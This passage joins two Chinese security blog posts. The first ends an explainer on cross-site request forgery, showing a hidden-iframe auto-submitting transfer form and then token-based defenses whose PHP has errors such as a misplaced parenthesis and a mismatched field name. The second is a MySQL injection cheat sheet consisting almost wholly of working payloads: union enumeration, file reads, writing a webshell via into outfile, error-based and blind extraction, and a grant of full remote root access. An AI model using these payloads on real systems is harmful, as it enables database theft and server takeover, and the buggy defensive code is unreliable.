和示例1中的操作一样,你首先登录了银行网站A,然后访问危险网站B,结果.....和示例1一样,你再次没了1000块~T_T,这次事故的原因是:银行后台使用了$_REQUEST去获取请求的数据,而$_REQUEST既可以获取GET请求的数据,也可以获取POST请求的数据,这就造成了在后台处理程序无法区分这到底是GET请求的数据还是POST请求的数据。在PHP中,可以使用$_GET和$_POST分别获取GET请求和POST请求的数据。在JAVA中,用于获取请求数据request一样存在不能区分GET请求数据和POST数据的问题。

示例3:

经过前面2个惨痛的教训,银行决定把获取请求数据的方法也改了,改用$_POST,只获取POST请求的数据,后台处理页面Transfer.php代码如下:

<?php
session_start();
if (isset($_POST['toBankId'] && isset($_POST['money']))
{
    buy_stocks($_POST['toBankId'], $_POST['money']);
}
?>

然而,危险网站B与时俱进,它改了一下代码:

<html>
<head>
<script type="text/javascript">
function steal()
{
               iframe 
= document.frames["steal"];
             iframe.document.Submit(
"transfer");
}
</script>
</head>

<body onload="steal()">
<iframe name="steal" display="none">
<form method="POST" name="transfer" action="http://www.myBank.com/Transfer.php">
<input type="hidden" name="toBankId" value="11">
<input type="hidden" name="money" value="1000">
</form>
</iframe>
</body>
</html>

如果用户仍是继续上面的操作,很不幸,结果将会是再次不见1000块......因为这里危险网站B暗地里发送了POST请求到银行!

总结一下上面3个例子,CSRF主要的攻击模式基本上是以上的3种,其中以第1,2种最为严重,因为触发条件很简单,一个<img>就可以了,而第3种比较麻烦,需要使用JavaScript,所以使用的机会会比前面的少很多,但无论是哪种情况,只要触发了CSRF攻击,后果都有可能很严重。

理解上面的3种攻击模式,其实可以看出,CSRF攻击是源于WEB的隐式身份验证机制!WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的

五.CSRF的防御

我总结了一下看到的资料,CSRF的防御可以从服务端客户端两方面着手,防御效果是从服务端着手效果比较好,现在一般的CSRF防御也都在服务端进行。

1.服务端进行CSRF防御

服务端的CSRF方式方法很多样,但总的思想都是一致的,就是在客户端页面增加伪随机数

(1).Cookie Hashing(所有表单都包含同一个伪随机值):

这可能是最简单的解决方案了,因为攻击者不能获得第三方的Cookie(理论上),所以表单中的数据也就构造失败了:>

<?php
//构造加密的Cookie信息
$value = “DefenseSCRF”;
setcookie(”cookie”, $valuetime()+3600);
?>

在表单里增加Hash值,以认证这确实是用户发送的请求。

<?php
$hash = md5($_COOKIE['cookie']);
?>
<form method=”POST” action=”transfer.php”>
<input type=”text” name=”toBankId”>
<input type=”text” name=”money”>
<input type=”hidden” name=”hash” value=”<?=$hash;?>”>
<input type=”submit” name=”submit” value=”Submit”>
</form>

然后在服务器端进行Hash值验证

      <?php
      if(isset($_POST['check'])) {
             $hash = md5($_COOKIE['cookie']);
           if($_POST['check'] == $hash) {
                  doJob();
           } else {
//...
             }
      } else {
//...
      }
      ?>

这个方法个人觉得已经可以杜绝99%的CSRF攻击了,那还有1%呢....由于用户的Cookie很容易由于网站的XSS漏洞而被盗取,这就另外的1%。一般的攻击者看到有需要算Hash值,基本都会放弃了,某些除外,所以如果需要100%的杜绝,这个不是最好的方法。
(2).验证码

这个方案的思路是:每次的用户提交都需要用户在表单中填写一个图片上的随机字符串,厄....这个方案可以完全解决CSRF,但个人觉得在易用性方面似乎不是太好,还有听闻是验证码图片的使用涉及了一个被称为MHTML的Bug,可能在某些版本的微软IE中受影响。

(3).One-Time Tokens(不同的表单包含一个不同的伪随机值)

在实现One-Time Tokens时,需要注意一点:就是“并行会话的兼容”。如果用户在一个站点上同时打开了两个不同的表单,CSRF保护措施不应该影响到他对任何表单的提交。考虑一下如果每次表单被装入时站点生成一个伪随机值来覆盖以前的伪随机值将会发生什么情况:用户只能成功地提交他最后打开的表单,因为所有其他的表单都含有非法的伪随机值。必须小心操作以确保CSRF保护措施不会影响选项卡式的浏览或者利用多个浏览器窗口浏览一个站点。

以下我的实现:

1).先是令牌生成函数(gen_token()):

     <?php
     function gen_token() {
//这里我是贪方便,实际上单使用Rand()得出的随机数作为令牌,也是不安全的。
//这个可以参考我写的Findbugs笔记中的《Random object created and used only once》
          $token = md5(uniqid(rand(), true));
          return $token;
     }

2).然后是Session令牌生成函数(gen_stoken()):

     <?php
      function gen_stoken() {
$pToken = "";
if($_SESSION[STOKEN_NAME]  == $pToken){
//没有值,赋新值
$_SESSION[STOKEN_NAME] = gen_token();
}    
else{
//继续使用旧的值
}
       }
     ?>

3).WEB表单生成隐藏输入域的函数:

     <?php
     function gen_input() {
            gen_stoken();
          echo “<input type=\”hidden\” name=\”" . FTOKEN_NAME . “\”
                 value=\”" . $_SESSION[STOKEN_NAME] . “\”> “;
       }
     ?>

4).WEB表单结构:

     <?php
          session_start();
          include(”functions.php”);
     ?>
     <form method=”POST” action=”transfer.php”>
          <input type=”text” name=”toBankId”>
          <input type=”text” name=”money”>
          <? gen_input(); ?>
          <input type=”submit” name=”submit” value=”Submit”>
     </FORM>

5).服务端核对令牌:

这个很简单,这里就不再啰嗦了。

上面这个其实不完全符合“并行会话的兼容”的规则,大家可以在此基础上修改。

 

其实还有很多想写,无奈精力有限,暂且打住,日后补充,如果错漏,请指出:>

PS:今天下午写这篇文档的时候FF崩溃了一次,写了一半文章的全没了,郁闷好久T_T.......

转载请说明出处,谢谢[hyddd(http://www.cnblogs.com/hyddd/)]

六.参考文献

[1].Preventing CSRF

[2].Security Corner: Cross-Site Request Forgeries

[3].《深入解析跨站请求伪造漏洞:原理剖析》

[4].《Web安全测试之跨站请求伪造(CSRF)》

[5].《深入解析跨站请求伪造漏洞:实例讲解》

[6].http://baike.baidu.com/view/1609487.htm

 

转自:http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html


标题:mysql注入总结

作者:L.N.

时间:2012-07-23

博客:lanu.sinaapp.com

 

目录:

0x00 mysql一般注入(select)

0x01 mysql一般注入(insert、update)

0x02 mysql报错注入

0x03 mysql一般盲注

0x04 mysql时间盲注

0x05 mysql其他注入技巧

0x06 mysql数据库版本特性 

0x07 声明

 

正文:

 

0x00 mysql一般注入(select)

 

1.注释符
#
/*
--

 

2.过滤空格注入
使用/**/或()或+代替空格

%0c = form feed, new page
%09 = horizontal tab
%0d = carriage return
%0a = line feed, new line

 

3.多条数据显示
concat()
group_concat()
concat_ws()

 

4.相关函数
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统 Windows Server 2003

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;

5.mysql一般注入语句

猜字段数

order by n/*
查看mysql基本信息
and 1=2 union select 1,2,3,concat_ws(char(32,58,32),0x7c,user(),database(),version()),5,6,7/*
查询数据库
and 1=2 union select 1,schema_name,3,4 from information_schema.schemata limit 1,1/*
and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata/*
查询表名
and 1=2 union select 1,2,3,4,table_name,5 from information_schema.tables where table_schema=数据库的16进制编码 limit 1,1/*
and 1=2 union select 1,2,3,4,group_concat(table_name),5 from information_schema.tables where table_schema=数据库的16进制编码/*
查询字段
and 1=2 union select 1,2,3,4,column_name,5,6,7 from information_schema.columns where table_name=表名的十六进制编码 and table_schema=数据库的16进制编码 limit 1,1/*
and 1=2 union select 1,2,3,4,group_concat(column_name),5,6,7 from information_schema.columns where table_name=表名的十六进制编码 and table_schema=数据库的16进制编码/*
查询数据
and 1=2 union select 1,2,3,字段1,5,字段2,7,8 from 数据库.表/*

判断是否具有读写权限
and (select count(*) from mysql.user)>0/*
and (select count(file_priv) from mysql.user)>0/*

 

6.mysql读取写入文件

必备条件:

读:file权限必备

写:1.绝对路径 2.union使用 3. 可以使用''  

-------------------------读----------------------                     

mysql3.x读取方法
create table a(cmd text);
load data infile 'c:\\xxx\\xxx\\xxx.txt' into table a;
select * from a;

mysql4.x读取方法
除上述方法还可以使用load_file()
create table a(cmd text);
insert into a(cmd) values(load_file('c:\\ddd\\ddd\\ddd.txt'));
select * from a;

mysql5.x读取方法
上述两种都可以

读取文件技巧:
load_file(char(32,26,56,66))
load_file(0x633A5C626F6F742E696E69)

------------写--------------------------

into outfile写文件

union select 1,2,3,char(这里写入你转换成10进制或16进制的一句话木马代码),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'/*
union select 1,2,3,load_file('d:\web\logo123.jpg'),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'/*

 

0x01 mysql一般注入(insert、update)

 

mysql一般请求mysql_query不支持多语句执行,mysqli可以。 

 

insert注入多使用报错注入!

1.如果可以直接插入管理员可以直接使用!

insert into user(username,password) values('xxxx',' xxxx'),('dddd','dddd')/* ');

2.如果可以插入一些数据,这些数据会在网页中显示,我们可以结合xxs和csrf来获取cookies或getshell

 

update注入同上

 

0x02 mysql报错注入

 

1. and(select 1 from(select count(*),concat((select (select (语句)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

语句处填入一般一句,如:SELECT distinct concat(0x7e,0x27,schema_name,0x27,0x7e) FROM information_schema.schemata LIMIT 0,1

 

2. and+1=(select+*+from+(select+NAME_CONST((语句),1),NAME_CONST((语句),1))+as+x)--

 

3.update web_ids set host='www.0x50sec.org' where id =1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (语句)),1,62)))a from information_schema.tables group by a)b);

 

4.insert into web_ids(host) values((select (1) from mysql.user where 1=1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (语句)),1,62)))a from information_schema.tables group by a)b)));


 

 0x03 mysql一般盲注

 

使用ascii

AND ascii(substring((SELECT password FROM users where id=1),1,1))=49

使用正则表达式

and 1=(SELECT 1 FROM information_schema.tables  WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)

 

0x04 mysql时间盲注

 

1170 union select if(substring(current,1,1)=char(11),benchmark(5000000,encode('msg','by 5 seconds')),null) from (select database() as current) as tbl

 

UNION SELECT IF(SUBSTRING(Password,1,1)='a',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’

 

 

0x05 mysql其他注入技巧

 

以后遇见了更新

 

0x06 mysql数据库版本特性

 

1. mysql5.0以后  information.schema库出现

2. mysql5.1以后 udf 导入xx\lib\plugin\ 目录下

3.mysql5.x以后 system执行命令

 

0x07 声明 

 

如有错误,希望指正

如果遗漏,希望讨论

小菜总结,大牛勿吐

记录笔记,时常复习